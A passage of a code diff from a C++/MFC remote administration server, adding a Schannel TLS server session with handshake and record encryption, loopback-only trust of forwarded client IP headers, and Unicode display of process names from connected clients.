|
||||||
|
}
|
||||||
|
|
||||||
|
bool ServerTlsIdentity::IsReady()
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(g_identityMtx);
|
||||||
|
return g_ready && g_credValid;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ServerTlsIdentity::IsLoadError()
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(g_identityMtx);
|
||||||
|
return g_loadError;
|
||||||
|
}
|
||||||
|
|
||||||
|
CredHandle ServerTlsIdentity::Cred()
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(g_identityMtx);
|
||||||
|
return g_cred;
|
||||||
|
}
|
||||||
|
|
||||||
|
// =====================================================================================
|
||||||
|
// ServerTlsSession —— 单连接会话(握手 + 加解密)
|
||||||
|
// =====================================================================================
|
||||||
|
|
||||||
|
void ServerTlsSession::CloseHandles()
|
||||||
|
{
|
||||||
|
if (m_ctxValid)
|
||||||
|
{
|
||||||
|
DeleteSecurityContext(&m_ctx);
|
||||||
|
m_ctxValid = false;
|
||||||
|
}
|
||||||
|
m_ctx = {};
|
||||||
|
m_ready = false;
|
||||||
|
m_raw.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 握手线程在 IOCP 的子套接字上做同步 I/O。该套接字可能是非阻塞的(监听套接字经
|
||||||
|
// WSAEventSelect 置为非阻塞后,accept 出的子套接字继承非阻塞态;线程里 FIONBIO=0 也
|
||||||
|
// 不一定即时生效)。故 recv/send 遇 WSAEWOULDBLOCK 时用 select 等可读/可写再重试,
|
||||||
|
// 而非当致命错误,避免「客户端回包还没到就误判握手失败」。
|
||||||
|
static bool WaitSocketReady(SOCKET sock, bool forRead, int timeoutMs)
|
||||||
|
{
|
||||||
|
fd_set fds;
|
||||||
|
FD_ZERO(&fds);
|
||||||
|
FD_SET(sock, &fds);
|
||||||
|
timeval tv;
|
||||||
|
tv.tv_sec = timeoutMs / 1000;
|
||||||
|
tv.tv_usec = (timeoutMs % 1000) * 1000;
|
||||||
|
return select(0, forRead ? &fds : NULL, forRead ? NULL : &fds, NULL, &tv) > 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ServerTlsSession::SendAll(SOCKET sock, const void* data, int len)
|
||||||
|
{
|
||||||
|
const BYTE* p = (const BYTE*)data;
|
||||||
|
int sent = 0;
|
||||||
|
while (sent < len)
|
||||||
|
{
|
||||||
|
int n = send(sock, (const char*)p + sent, len - sent, 0);
|
||||||
|
if (n == SOCKET_ERROR && WSAGetLastError() == WSAEWOULDBLOCK)
|
||||||
|
{
|
||||||
|
if (!WaitSocketReady(sock, false, 15000))
|
||||||
|
return false;
|
||||||
|
continue; // 非阻塞套接字发送缓冲满:等可写后重试
|
||||||
|
}
|
||||||
|
if (n <= 0)
|
||||||
|
return false;
|
||||||
|
sent += n;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ServerTlsSession::Handshake(SOCKET sock, const BYTE* initial, int initialLen)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_mtx);
|
||||||
|
if (m_ctxValid)
|
||||||
|
CloseHandles(); // 防御:会话应只握手一次
|
||||||
|
|
||||||
|
CredHandle cred = ServerTlsIdentity::Cred();
|
||||||
|
|
||||||
|
// 单向 TLS:服务端不请求客户端证书,故无需 ASC_REQ_MANUAL_CRED_VALIDATION
|
||||||
|
//(该标志只在 mTLS 校验客户端证书时有意义;SDK 的 ASC 命名空间里亦无此常量)。
|
||||||
|
DWORD req = ASC_REQ_SEQUENCE_DETECT | ASC_REQ_REPLAY_DETECT | ASC_REQ_CONFIDENTIALITY |
|
||||||
|
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_STREAM;
|
||||||
|
|
||||||
|
std::vector<BYTE> hs(initial, initial + initialLen);
|
||||||
|
CtxtHandle ctx = {};
|
||||||
|
bool ctxValid = false;
|
||||||
|
TimeStamp tsExpiry = {};
|
||||||
|
ULONG attrs = 0;
|
||||||
|
SECURITY_STATUS sc = SEC_I_CONTINUE_NEEDED;
|
||||||
|
|
||||||
|
for (;;)
|
||||||
|
{
|
||||||
|
SecBuffer inBufs[2] = {
|
||||||
|
{ (ULONG)hs.size(), SECBUFFER_TOKEN, hs.empty() ? NULL : hs.data() },
|
||||||
|
{ 0, SECBUFFER_EMPTY, NULL },
|
||||||
|
};
|
||||||
|
SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
|
||||||
|
SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
|
||||||
|
SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
|
||||||
|
|
||||||
|
sc = AcceptSecurityContext(&cred, ctxValid ? &ctx : NULL, &inDesc, req,
|
||||||
|
SECURITY_NATIVE_DREP, ctxValid ? NULL : &ctx,
|
||||||
|
&outDesc, &attrs, &tsExpiry);
|
||||||
|
ctxValid = true;
|
||||||
|
|
||||||
|
// 发出服务端握手记录(ServerHello/Certificate/... 或 Finished)。
|
||||||
|
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer)
|
||||||
|
{
|
||||||
|
bool ok = SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer);
|
||||||
|
FreeContextBuffer(outBuf.pvBuffer);
|
||||||
|
if (!ok)
|
||||||
|
{
|
||||||
|
sc = SEC_E_INTERNAL_ERROR;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 计算已消费字节:SECBUFFER_EXTRA 里是「未消费的尾部」(下一条握手消息 / 首条应用数据)。
|
||||||
|
// 必须在 SEC_E_OK / 失败判定之前处理:否则握手完成时 hs 里仍混着已消费的握手记录,
|
||||||
|
// 紧跟 Finished 的首条应用数据(客户端登录包)会随 hs 一起被丢弃,导致随机丢包。
|
||||||
|
if (inBufs[1].BufferType == SECBUFFER_EXTRA)
|
||||||
|
{
|
||||||
|
int extra = (int)inBufs[1].cbBuffer;
|
||||||
|
hs.erase(hs.begin(), hs.begin() + (hs.size() - extra));
|
||||||
|
}
|
||||||
|
else if (sc != SEC_E_INCOMPLETE_MESSAGE && sc != SEC_I_INCOMPLETE_CREDENTIALS)
|
||||||
|
{
|
||||||
|
hs.clear(); // 已全部消费,继续等下一轮握手消息
|
||||||
|
}
|
||||||
|
// 否则:SEC_E_INCOMPLETE_MESSAGE —— 保留 hs(不完整消息),续收补齐。
|
||||||
|
|
||||||
|
if (sc == SEC_E_OK)
|
||||||
|
break;
|
||||||
|
if (FAILED(sc) && sc != SEC_E_INCOMPLETE_MESSAGE && sc != SEC_I_INCOMPLETE_CREDENTIALS)
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] AcceptSecurityContext failed 0x%08x (in=%u consumed? extra=%u)\n",
|
||||||
|
(unsigned)sc, inBufs[0].cbBuffer, inBufs[1].BufferType == SECBUFFER_EXTRA ? inBufs[1].cbBuffer : 0);
|
||||||
|
break; // 真正的失败
|
||||||
|
}
|
||||||
|
|
||||||
|
char raw[8192];
|
||||||
|
int r;
|
||||||
|
for (;;)
|
||||||
|
{
|
||||||
|
r = recv(sock, raw, sizeof(raw), 0);
|
||||||
|
if (r == SOCKET_ERROR && WSAGetLastError() == WSAEWOULDBLOCK)
|
||||||
|
{
|
||||||
|
if (!WaitSocketReady(sock, true, 15000))
|
||||||
|
{
|
||||||
|
r = SOCKET_ERROR;
|
||||||
|
break; // 等可读超时
|
||||||
|
}
|
||||||
|
continue; // 非阻塞套接字暂无数据:等可读后重试
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (r <= 0)
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] handshake recv failed/EOF (r=%d err=%d)\n", r, WSAGetLastError());
|
||||||
|
sc = SEC_E_INTERNAL_ERROR;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (sc != SEC_E_OK)
|
||||||
|
{
|
||||||
|
Mprintf("[TLS] handshake failed: final status 0x%08x (fail-closed)\n", (unsigned)sc);
|
||||||
|
if (ctxValid)
|
||||||
|
DeleteSecurityContext(&ctx);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 握手成功后 hs 里残留的「未消费尾部」是紧跟 Finished 的首条应用数据(TLS 记录)。
|
||||||
|
// 交给 Decrypt 处理,否则首包会丢(表现为随机登录超时/重连/协议错位)。
|
||||||
|
if (!hs.empty())
|
||||||
|
m_raw.insert(m_raw.end(), hs.begin(), hs.end());
|
||||||
|
|
||||||
|
// 查询流式记录尺寸(加密封装用)。
|
||||||
|
SecPkgContext_StreamSizes sizes = {};
|
||||||
|
if (QueryContextAttributes(&ctx, SECPKG_ATTR_STREAM_SIZES, &sizes) != SEC_E_OK)
|
||||||
|
{
|
||||||
|
DeleteSecurityContext(&ctx);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_ctx = ctx;
|
||||||
|
m_ctxValid = true;
|
||||||
|
m_sizes = sizes;
|
||||||
|
m_ready = true;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ServerTlsSession::Decrypt(const BYTE* cipher, int len, std::vector<BYTE>& plain)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_mtx);
|
||||||
|
if (!m_ready)
|
||||||
|
return -1;
|
||||||
|
if (len <= 0)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
m_raw.insert(m_raw.end(), cipher, cipher + len);
|
||||||
|
|
||||||
|
for (;;)
|
||||||
|
{
|
||||||
|
SecBuffer bufs[4] = {
|
||||||
|
{ (ULONG)m_raw.size(), SECBUFFER_DATA, m_raw.empty() ? NULL : m_raw.data() },
|
||||||
|
{ 0, SECBUFFER_EMPTY, NULL },
|
||||||
|
{ 0, SECBUFFER_EMPTY, NULL },
|
||||||
|
{ 0, SECBUFFER_EMPTY, NULL },
|
||||||
|
};
|
||||||
|
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
|
||||||
|
|
||||||
|
SECURITY_STATUS sc = DecryptMessage(&m_ctx, &desc, 0, NULL);
|
||||||
|
if (sc == SEC_E_INCOMPLETE_MESSAGE)
|
||||||
|
break; // 记录不完整,等下一轮 WSARecv
|
||||||
|
if (sc == SEC_I_CONTEXT_EXPIRED) {
|
||||||
|
Mprintf("[TLS] DecryptMessage: peer close_notify (SEC_I_CONTEXT_EXPIRED)\n");
|
||||||
|
return -1; // 对端 close_notify / 会话结束
|
||||||
|
}
|
||||||
|
if (sc == SEC_I_RENEGOTIATE || FAILED(sc)) {
|
||||||
|
Mprintf("[TLS] DecryptMessage failed 0x%08x (raw=%u)\n", (unsigned)sc, (unsigned)m_raw.size());
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int decLen = (int)bufs[1].cbBuffer;
|
||||||
|
const BYTE* p = (const BYTE*)bufs[1].pvBuffer;
|
||||||
|
int extra = (bufs[3].BufferType == SECBUFFER_EXTRA) ? (int)bufs[3].cbBuffer : 0;
|
||||||
|
int consumed = (int)m_raw.size() - extra;
|
||||||
|
|
||||||
|
if (decLen > 0 && p)
|
||||||
|
plain.insert(plain.end(), p, p + decLen);
|
||||||
|
|
||||||
|
m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
|
||||||
|
if (m_raw.empty())
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ServerTlsSession::Encrypt(const BYTE* plain, int len, std::vector<BYTE>& wire)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_mtx);
|
||||||
|
if (!m_ready)
|
||||||
|
return -1;
|
||||||
|
if (len <= 0)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
|
||||||
|
int total = 0;
|
||||||
|
while (total < len)
|
||||||
|
{
|
||||||
|
int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
|
||||||
|
|
||||||
|
std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
|
||||||
|
BYTE* hdr = rec.data();
|
||||||
|
BYTE* body = hdr + m_sizes.cbHeader;
|
||||||
|
BYTE* trailer = body + chunk;
|
||||||
|
memcpy(body, plain + total, chunk);
|
||||||
|
|
||||||
|
SecBuffer bufs[4] = {
|
||||||
|
{ m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
|
||||||
|
{ (ULONG)chunk, SECBUFFER_DATA, body },
|
||||||
|
{ m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
|
||||||
|
{ 0, SECBUFFER_EMPTY, NULL },
|
||||||
|
};
|
||||||
|
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
|
||||||
|
|
||||||
|
SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
|
||||||
|
if (FAILED(sc))
|
||||||
|
return -1; // 握手已建立,此处失败视为致命(调用方关闭连接)
|
||||||
|
|
||||||
|
int wireLen = (int)(bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer);
|
||||||
|
wire.insert(wire.end(), rec.data(), rec.data() + wireLen);
|
||||||
|
total += chunk;
|
||||||
|
}
|
||||||
|
return total;
|
||||||
|
}
|
||||||
|
|
||||||
|
// =====================================================================================
|
||||||
|
// CONTEXT_OBJECT::FreeTls —— 释放每连接 TLS 会话(定义在此以便 delete 完整类型)
|
||||||
|
// =====================================================================================
|
||||||
|
|
||||||
|
void CONTEXT_OBJECT::FreeTls()
|
||||||
|
{
|
||||||
|
delete tls;
|
||||||
|
tls = NULL;
|
||||||
|
}
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
// ServerTlsSession.h — MFC 服务端单向 TLS(Schannel 入站)会话封装
|
||||||
|
//
|
||||||
|
// 与客户端 TlsChannel 对称:客户端走 InitializeSecurityContext(出站),本类走
|
||||||
|
// AcceptSecurityContext(入站)。单向 TLS:不请求/校验客户端证书,客户端身份仍由
|
||||||
|
// 隧道内登录(V1 PwdHmac / V2 ECDSA)承担。
|
||||||
|
//
|
||||||
|
// 分层:
|
||||||
|
// ServerTlsIdentity —— 进程级「服务端身份」(证书 + 私钥 → 入站凭据)。可重入加载
|
||||||
|
// (Load 禁止用 call_once,供未来 UI/指令热切换),本轮启动时加载一次。
|
||||||
|
// ServerTlsSession —— 每条连接一个,持有握手/加解密所需的 Schannel 上下文与缓冲,
|
||||||
|
// 随 CONTEXT_OBJECT 池化复用而重建。
|
||||||
|
//
|
||||||
|
// 线程模型:Handshake 在专用握手线程上阻塞执行(方案 A);握手完成后,Decrypt 由
|
||||||
|
// IOCP 工作线程调用(每连接同一时刻只有一个未决 WSARecv,天然串行)、Encrypt 在
|
||||||
|
// SendLock 内调用。Schannel 上下文非线程安全,故 Encrypt/Decrypt 内部以 m_mtx 互斥。
|
||||||
|
//
|
||||||
|
// 选型:Schannel(Windows 原生 SSPI),secur32.lib / crypt32.lib / ncrypt.lib 系统库。
|
||||||
|
// 证书/私钥为 PEM(与 Go 服务端 YAMA_TLS_CERT/KEY 同构,可共用同一对密钥);私钥
|
||||||
|
// 须为 PKCS#8(-----BEGIN PRIVATE KEY-----),见 ServerTlsSession.cpp 的加载实现。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <WinSock2.h>
|
||||||
|
|
||||||
|
#ifndef SECURITY_WIN32
|
||||||
|
#define SECURITY_WIN32 1
|
||||||
|
#endif
|
||||||
|
#include <security.h>
|
||||||
|
#include <schannel.h>
|
||||||
|
|
||||||
|
#include <mutex>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
class config; // common/iniFile.h(仅需引用,避免把 ini 头拖进 Server.h 的 include 图)
|
||||||
|
|
||||||
|
// ---- 进程级服务端身份(证书 + 私钥),可重入加载(禁止 call_once,供未来热切换)----
|
||||||
|
class ServerTlsIdentity
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
// 从 cfg(THIS_CFG)读 [tls] 节:Enabled / CertPath / KeyPath,并加载身份。
|
||||||
|
// 返回 true 表示「配置已生效」(开关关、或开关开且身份加载成功);开关开但加载
|
||||||
|
// 失败时返回 false 且 IsLoadError()==true,服务端须对 TLS ClientHello fail-closed。
|
||||||
|
static bool Load(config& cfg);
|
||||||
|
|
||||||
|
static bool IsEnabled(); // [tls] Enabled != 0
|
||||||
|
static bool IsReady(); // 开关开 && 身份加载成功(有可用入站凭据)
|
||||||
|
static bool IsLoadError(); // 开关开 && 身份加载失败(fail-closed)
|
||||||
|
|
||||||
|
// 入站凭据(AcquireCredentialsHandle 产出)。返回拷贝;句柄值本身可安全拷贝。
|
||||||
|
static CredHandle Cred();
|
||||||
|
|
||||||
|
private:
|
||||||
|
static void FreeIdentity();
|
||||||
|
static bool LoadIdentity(const std::string& certPath, const std::string& keyPath);
|
||||||
|
};
|
||||||
|
|
||||||
|
// ---- 单连接服务端 TLS 会话(握手 + 加解密)----
|
||||||
|
class ServerTlsSession
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
ServerTlsSession() {}
|
||||||
|
~ServerTlsSession() { CloseHandles(); }
|
||||||
|
|
||||||
|
ServerTlsSession(const ServerTlsSession&) = delete;
|
||||||
|
ServerTlsSession& operator=(const ServerTlsSession&) = delete;
|
||||||
|
|
||||||
|
// 阻塞式服务端握手(方案 A:专用握手线程上调用)。initial/initialLen 是嗅探阶段已
|
||||||
|
// 收到的 ClientHello 字节(可能只是分片;内部按 SEC_E_INCOMPLETE_MESSAGE 续收补齐)。
|
||||||
|
// 成功返回 true,失败 false(调用方关闭连接,fail-closed)。
|
||||||
|
bool Handshake(SOCKET sock, const BYTE* initial, int initialLen);
|
||||||
|
|
||||||
|
// 解密:把本次 WSARecv 收到的密文 cipher[0..len] 喂入,把能解出的明文追加到 plain。
|
||||||
|
// 返回 0 = 成功(可能无明文);-1 = 错误 / 对端 close_notify(调用方关闭连接)。
|
||||||
|
int Decrypt(const BYTE* cipher, int len, std::vector<BYTE>& plain);
|
||||||
|
|
||||||
|
// 加密:把明文 plain[0..len] 加密成完整 TLS 记录,追加到 wire。
|
||||||
|
// 返回加密的明文字节数(== len);-1 = 错误。
|
||||||
|
int Encrypt(const BYTE* plain, int len, std::vector<BYTE>& wire);
|
||||||
|
|
||||||
|
bool Ready() const { return m_ready; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
void CloseHandles();
|
||||||
|
bool SendAll(SOCKET sock, const void* data, int len);
|
||||||
|
|
||||||
|
std::mutex m_mtx; // 序列化对 m_ctx 的 Encrypt/Decrypt(Schannel 非线程安全)
|
||||||
|
CtxtHandle m_ctx = {};
|
||||||
|
bool m_ctxValid = false;
|
||||||
|
bool m_ready = false;
|
||||||
|
SecPkgContext_StreamSizes m_sizes = {};
|
||||||
|
std::vector<BYTE> m_raw; // 尚未解密 / 未消费完的 TLS 记录原始字节
|
||||||
|
};
|
||||||
@@ -349,6 +349,75 @@ public:
|
|||||||
void onHttp(HttpHandler handler) { m_httpHandler = handler; }
|
void onHttp(HttpHandler handler) { m_httpHandler = handler; }
|
||||||
|
|
||||||
private:
|
private:
|
||||||
|
// ---- Real client IP behind a reverse proxy ----
|
||||||
|
// A same-host nginx/Caddy connects from 127.0.0.1 and reports the original
|
||||||
|
// peer in X-Real-IP / X-Forwarded-For. Only trust those headers when the
|
||||||
|
// TCP peer is loopback: otherwise any internet client could forge its
|
||||||
|
// address in the audit log and rotate it to evade login throttling.
|
||||||
|
static std::string trimHttpValue(const std::string& s) {
|
||||||
|
size_t b = s.find_first_not_of(" \t");
|
||||||
|
if (b == std::string::npos) return "";
|
||||||
|
size_t e = s.find_last_not_of(" \t\r\n");
|
||||||
|
return s.substr(b, e - b + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::string asciiLower(const std::string& s) {
|
||||||
|
std::string out = s;
|
||||||
|
for (char& c : out) {
|
||||||
|
if (c >= 'A' && c <= 'Z') c = (char)(c - 'A' + 'a');
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Case-insensitive lookup of one header in the raw request. The request
|
||||||
|
// line is first, so matching "\r\n<name>:" cannot hit the request target.
|
||||||
|
static std::string httpHeader(const std::string& request, const char* name) {
|
||||||
|
const std::string needle = "\r\n" + asciiLower(name) + ":";
|
||||||
|
const std::string hay = asciiLower(request);
|
||||||
|
size_t pos = hay.find(needle);
|
||||||
|
if (pos == std::string::npos) return "";
|
||||||
|
size_t vstart = pos + needle.size();
|
||||||
|
size_t vend = hay.find("\r\n", vstart);
|
||||||
|
return trimHttpValue(request.substr(vstart,
|
||||||
|
vend == std::string::npos ? std::string::npos : vend - vstart));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Accept only a bare IPv4/IPv6 literal; forwarded headers are attacker
|
||||||
|
// controlled even when the proxy is trusted, so no hostnames/ports.
|
||||||
|
static std::string normalizeIPLiteral(const std::string& value) {
|
||||||
|
std::string s = trimHttpValue(value);
|
||||||
|
if (s.empty() || s.size() > 63) return "";
|
||||||
|
struct in_addr v4;
|
||||||
|
if (inet_pton(AF_INET, s.c_str(), &v4) == 1) return s;
|
||||||
|
struct in6_addr v6;
|
||||||
|
if (inet_pton(AF_INET6, s.c_str(), &v6) == 1) return s;
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::string forwardedClientIP(const std::string& request) {
|
||||||
|
// X-Forwarded-For is "client, proxy1, ..." with the oldest hop first.
|
||||||
|
// Our own proxy appends the peer it saw, so the last valid entry is
|
||||||
|
// the one it actually observed: a client-supplied list cannot forge
|
||||||
|
// it. Prefer this over X-Real-IP, which is only trustworthy when the
|
||||||
|
// proxy explicitly overwrites it (some configs pass it through).
|
||||||
|
std::string xff = httpHeader(request, "x-forwarded-for");
|
||||||
|
size_t end = xff.size();
|
||||||
|
while (end > 0) {
|
||||||
|
size_t comma = xff.rfind(',', end - 1);
|
||||||
|
size_t start = comma == std::string::npos ? 0 : comma + 1;
|
||||||
|
std::string ip = normalizeIPLiteral(xff.substr(start, end - start));
|
||||||
|
if (!ip.empty()) return ip;
|
||||||
|
if (comma == std::string::npos) break;
|
||||||
|
end = comma;
|
||||||
|
}
|
||||||
|
return normalizeIPLiteral(httpHeader(request, "x-real-ip"));
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool isLoopbackPeer(const std::string& ip) {
|
||||||
|
return ip.rfind("127.", 0) == 0 || ip == "::1" ||
|
||||||
|
ip == "::ffff:127.0.0.1";
|
||||||
|
}
|
||||||
|
|
||||||
// Parse Proxy Protocol v2 header and extract real client IP
|
// Parse Proxy Protocol v2 header and extract real client IP
|
||||||
bool parseProxyProtocolV2(SOCKET sock, std::string& clientIP) {
|
bool parseProxyProtocolV2(SOCKET sock, std::string& clientIP) {
|
||||||
// PP2 signature (12 bytes)
|
// PP2 signature (12 bytes)
|
||||||
@@ -448,6 +517,13 @@ private:
|
|||||||
if (request.find("\r\n\r\n") != std::string::npos) break;
|
if (request.find("\r\n\r\n") != std::string::npos) break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Behind a same-host reverse proxy the TCP peer is 127.0.0.1; recover
|
||||||
|
// the real client address the proxy recorded in the handshake.
|
||||||
|
if (isLoopbackPeer(clientIP)) {
|
||||||
|
std::string forwarded = forwardedClientIP(request);
|
||||||
|
if (!forwarded.empty()) clientIP = forwarded;
|
||||||
|
}
|
||||||
|
|
||||||
// Check if WebSocket upgrade
|
// Check if WebSocket upgrade
|
||||||
if (request.find("Upgrade: websocket") == std::string::npos) {
|
if (request.find("Upgrade: websocket") == std::string::npos) {
|
||||||
// Regular HTTP request - extract path
|
// Regular HTTP request - extract path
|
||||||
|
|||||||
@@ -232,6 +232,26 @@ void CSystemDlg::ShowWindowsList(void)
|
|||||||
ApplySort(); // 应用记忆的排序偏好
|
ApplySort(); // 应用记忆的排序偏好
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 按客户端编码 (936 或 UTF-8) 解码字节串,并用 LVM_SETITEMTEXTW 写入列表单元格,
|
||||||
|
// 绕开 ANSI→CP_ACP 回转(非中文 ACP 服务端上中文也能正常显示,与窗口管理同法)。
|
||||||
|
static void SetClientTextItem(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
|
||||||
|
{
|
||||||
|
std::wstring w;
|
||||||
|
if (sz && sz[0]) {
|
||||||
|
int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
|
||||||
|
if (wlen > 1) {
|
||||||
|
w.resize(wlen - 1);
|
||||||
|
MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LVITEMW lv = {};
|
||||||
|
lv.mask = LVIF_TEXT;
|
||||||
|
lv.iItem = iItem;
|
||||||
|
lv.iSubItem = iSubItem;
|
||||||
|
lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
|
||||||
|
::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
|
||||||
|
}
|
||||||
|
|
||||||
void CSystemDlg::ShowProcessList(void)
|
void CSystemDlg::ShowProcessList(void)
|
||||||
{
|
{
|
||||||
// GetMyBuffer(1) 深拷贝数据,跳过 TOKEN 字节
|
// GetMyBuffer(1) 深拷贝数据,跳过 TOKEN 字节
|
||||||
@@ -248,6 +268,10 @@ void CSystemDlg::ShowProcessList(void)
|
|||||||
const char *szProcessFullPath;
|
const char *szProcessFullPath;
|
||||||
DWORD dwOffset = 0;
|
DWORD dwOffset = 0;
|
||||||
CString str;
|
CString str;
|
||||||
|
// 进程名/路径编码:Windows 客户端 A 接口生成,恒为 GBK/936;仅 LNX/MAC 为 UTF-8。
|
||||||
|
// 不能用 GetClientEncoding(它对新客户端返回 CP_UTF8,会把 GBK 进程名解成乱码)。
|
||||||
|
UINT cp = GetProcessListEncoding(m_ContextObject);
|
||||||
|
|
||||||
DeleteAllItems();
|
DeleteAllItems();
|
||||||
//遍历发送来的每一个字符别忘了他的数据结构啊 Id+进程名+0+完整名+0
|
//遍历发送来的每一个字符别忘了他的数据结构啊 Id+进程名+0+完整名+0
|
||||||
int i;
|
int i;
|
||||||
@@ -258,10 +282,11 @@ void CSystemDlg::ShowProcessList(void)
|
|||||||
szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //完整名就是进程名之后的啦
|
szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //完整名就是进程名之后的啦
|
||||||
//他的数据结构的构建很巧妙
|
//他的数据结构的构建很巧妙
|
||||||
|
|
||||||
m_ControlList.InsertItem(i, arr[0].c_str()); //将得到的数据加入到列表当中
|
m_ControlList.InsertItem(i, ""); // 占位,首列随后用 Unicode 写入
|
||||||
str.FormatL("%5u", *PID);
|
str.FormatL("%5u", *PID);
|
||||||
m_ControlList.SetItemText(i, 1, str);
|
m_ControlList.SetItemText(i, 1, str); // PID (ASCII)
|
||||||
m_ControlList.SetItemText(i, 2, szProcessFullPath);
|
SetClientTextItem(m_ControlList, i, 0, arr[0].c_str(), cp); // 进程名(按客户端编码)
|
||||||
|
SetClientTextItem(m_ControlList, i, 2, szProcessFullPath, cp); // 程序路径(按客户端编码)
|
||||||
m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
|
m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
|
||||||
// ItemData 为进程ID;Data[3] 需与第 4 列"架构"一致,否则按架构排序拿到空串而无意义
|
// ItemData 为进程ID;Data[3] 需与第 4 列"架构"一致,否则按架构排序拿到空串而无意义
|
||||||
auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath, arr[1].empty() ? "N/A" : arr[1].c_str()}, arr[1].c_str() };
|
auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath, arr[1].empty() ? "N/A" : arr[1].c_str()}, arr[1].c_str() };
|
||||||
|
|||||||
@@ -0,0 +1,234 @@
|
|||||||
|
#include "stdafx.h"
|
||||||
|
#include "TlsCertificateDlg.h"
|
||||||
|
#include "LangManager.h" // _TR / MessageBoxL
|
||||||
|
#include "2015Remote.h" // THIS_CFG (GetThisCfg)
|
||||||
|
#include "ServerTlsSession.h" // ServerTlsIdentity::Load / IsLoadError
|
||||||
|
#include "common/iniFile.h" // config::GetInt/GetStr/SetInt/SetStr
|
||||||
|
#include <atlconv.h>
|
||||||
|
#include <afxdlgs.h>
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define new DEBUG_NEW
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
// 构造一个无控件的 DLGTEMPLATE:cdit=0,控件由 OnInitDialog 动态创建。
|
||||||
|
// (与 McpSettingsDlg.cpp / ZstaPickerDlg.cpp 内同名函数一致)
|
||||||
|
void BuildDialogTemplate(std::vector<BYTE>& out, LPCWSTR caption, short cx, short cy)
|
||||||
|
{
|
||||||
|
out.clear();
|
||||||
|
auto append = [&](const void* p, size_t n) {
|
||||||
|
const BYTE* b = (const BYTE*)p;
|
||||||
|
out.insert(out.end(), b, b + n);
|
||||||
|
};
|
||||||
|
auto appendW = [&](WORD v) {
|
||||||
|
out.push_back((BYTE)(v & 0xFF));
|
||||||
|
out.push_back((BYTE)((v >> 8) & 0xFF));
|
||||||
|
};
|
||||||
|
auto appendWStr = [&](LPCWSTR s) {
|
||||||
|
size_t n = wcslen(s);
|
||||||
|
